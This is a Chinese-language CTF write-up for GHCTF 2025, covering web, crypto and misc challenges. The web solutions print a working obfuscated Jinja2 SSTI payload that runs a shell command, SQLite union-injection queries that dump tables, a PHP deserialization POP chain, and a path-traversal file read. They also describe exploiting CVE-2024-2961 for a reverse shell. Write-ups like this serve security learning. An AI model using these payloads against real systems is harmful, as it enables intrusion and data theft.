GHCTF2025
web
[GHCTF 2025]upload?SSTI!
页面是一个上传文件的页面
我们下载附件,查看关键代码
1 | ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}. |
通过代码我们可以发现,允许上传的后缀有’txt’, ‘log’, ‘text’,’md’,’jpg’,’png’,’gif’,并且过滤了ssti的几个关键字
并且将上传的文件内容在/file/filename页面上进行了渲染,我们猜测这题考的是ssti
我们上传
1 | {{7*7}} |
查看/file/1.txt
返回49,考的是jinjia2模版注入
我们创个有ssti模版注入的页面,然后让fenjing去爆破它
1 | from flask import Flask, request, render_template_string |
运行py,得到网页链接,然后扔给fenjing去爆破
执行cat /flag,找到运行的ssti注入语句
1 | {%set fq='so'[::-1]%}{%set dg=lipsum|escape|batch(22)|first|last%}{%set gl=dg*2+'globals'+dg*2%}{%set bu=dg*2+'builtins'+dg*2%}{%set ip=dg*2+'import'+dg*2%}{{cycler.next[gl][bu][ip](fq).popen('cat /f''lag').read()}} |
最后回到原题,将这个payload上传上去,访问文件,得到flag
(>﹏<)
美化一下代码
1 | from flask import Flask, request |
观察代码,我们猜测这是xml漏洞
我们用postman传一个xml上去
1 | <?xml version="1.0"?> |
得到flag
SQL???
很明显存在一个sql注入点,但这里考的不是mysql注入,而是sqlite注入
sqllite注入和mysql注入差不多,了解一下语法就能简单解出来了
依旧是先查字段数
1 | 1 order by 5 |
第一个不报错,第二个报错,说明字段数在5个
然后爆显示位
1 | 1 union select 1,2,3,4,5 |
可以看到2,3,4,5都有回显
然后查版本,这里就开始和mysql注入有区别了
1 | ?id=1 union select 1,2,3,4,sqlite_version() |
然后爆表名
1 | ?id=1 union select 1,2,3,4,sql from sqlite_master |
,
得到了表flag 和字段flag
然后爆flag
1 | ?id=1 union select 1,2,3,4,group_concat(flag) from flag |
ez_readfile
1 |
|
强碰撞绕过
我们去网上找个文章的链子去绕过
或者使用fastcoll进行碰撞
文件读取利用
接下来有两种解法,一个是直接进行目录遍历,一个是直接使用CVE-2024-2961漏洞实现命令执行
第一种解法,有出过题的,大部分都是采用https://github.com/CTF-Archives/ctf-docker-template这里面的模版。一般出题过程中,为了方便,不去修改dockerfile文件,都会直接在容器内修改,然后再commit生成镜像。
里面的php出题模版中,有一个容器启动命令文件docker-entrypoint.sh。可以看到该命令文件在容器初始化后就会被删掉。但是在提交生成镜像后,由镜像生成容器又需要运行该文件。因此有的出题者为了方便可能就不删除该文件,这时候就可以碰碰运气,看看出题者有没有把这个文件删掉。没有删掉,就能够获取路径。
因此,我们在这里直接读取/docker-entrypoint.sh文件,那个得到flag的路径
1 | /f1wlxekj1lwjek1lkejzs1lwje1lwesjk1wldejlk1wcejl1kwjelk1wjcle1jklwecj1lkwcjel1kwjel1cwjl1jwlkew1jclkej1wlkcj1lkwej1lkcwjellag |
访问得到flag
CVE-2024-2961
这里有两个脚本,一个是官方的脚本
官方脚本
在这里只需要修改send函数(请求包的参数设置),download函数(内容的正则匹配),将check_vulnerable函数中的部分failure函数的调用换成pass(使用时,会吞字符,但不影响漏洞利用。),即可正常运行脚本。
web目录没有写权限,该漏洞不回显,因此只能通过反弹shell或外带的方式进行利用。
1 | #!/usr/bin/env python3 |
反弹成功,成功获取flag
kezibei脚本
https://github.com/kezibei/php-filter-iconv
该脚本只要当前目录中有目标靶机的/proc/self/maps和libc.so文件,即可将payload跑出来,让我们自己去运行。
payload会随着当前maps的变化而变化,因此payload并不是固定的,这里就不公布我的payload了
Popppppp
1 |
|
代码审计
这是一道反序列化的题,这种题一般是先找到要利用的点,然后反过来推怎么触发这个点
我们发现Mystery类存在可以利用原生类的函数
1 | class Mystery { |
此时我们可以考虑利用php原生类进行构造恶意代码攻击。那么我们就先将其暂定为链尾
然后我们发现该函数在魔术方法__get()
中;,那我们要如何去触发它
我们发现在Philosopher这个类中存在访问不存在的键值key这个操作,会触发__get()
函数
1 | class Philosopher { |
接下来我们就需要去触发__invoke()
这个函数
我们发现在Warlord类中出现了将对象调用为函数的操作
接下来我们需要触发Warlord中的__call()
函数
我们在Samurai类中的__tostring
函数中找到了
1 | class Samurai { |
接下来我们就是需要去触发__tostring
函数
我们在CherryBlossom类中的__destruct()
找到将fruit对象当做字符串调用
1 | class CherryBlossom { |
至此,我们的pop链就找全了
1 | CherryBlossom{__destruct()} --> Samurai{__toString()} --> Warlord{__call()} --> Philosopher{__invoke()} --> Mystery{__get()} |
但我们发现Philosopher类中需要绕过一个双重md5才能触发__invoke()
双重md5
1 | # -*- coding: utf-8 -*- |
反序列化之遍历文件目录类
1 |
|
我们利用SplFileObject类来读取文件
1 |
|
得到flag
crypto
baby_signin
解一
1 | from Crypto.Util.number import getPrime, bytes_to_long |
1 | #sage |
然后使用中国剩余定理
1 | import libnum |
得到flag
官方解:
1 | from sympy.ntheory.residue_ntheory import sqrt_mod |
baby_factor
RSA模板
1 | n=2741832985459799195551463586200496171706401045582705736390510500694289553647578857170635209048629428396407631873312962021354740290808869502374444435394061448767702908255197762575345798570340246369827688321483639197634802985398882606068294663625992927239602442735647762662536456784313240499437659967114509197846086151042512153782486075793224874304872205720564733574010669935992016367832666397263951446340260962650378484847385424893514879629196181114844346169851383460163815147712907264437435463059397586675769959094397311450861780912636566993749356097243760640620004707428340786147078475120876426087835327094386842765660642186546472260607586011343238080538092580452700406255443887820337778505999803772196923996033929998741437250238302626841957729397241851219567703420968177784088484002831289722211924810899441563382481216744212304879717297444824808184727136770899310815544776369231934774967139834384853322157766059825736075553 |
MISC
mycode
利用pwntools工具进行自动化解题
1 | from pwn import * |
1 | import java.util.Scanner; |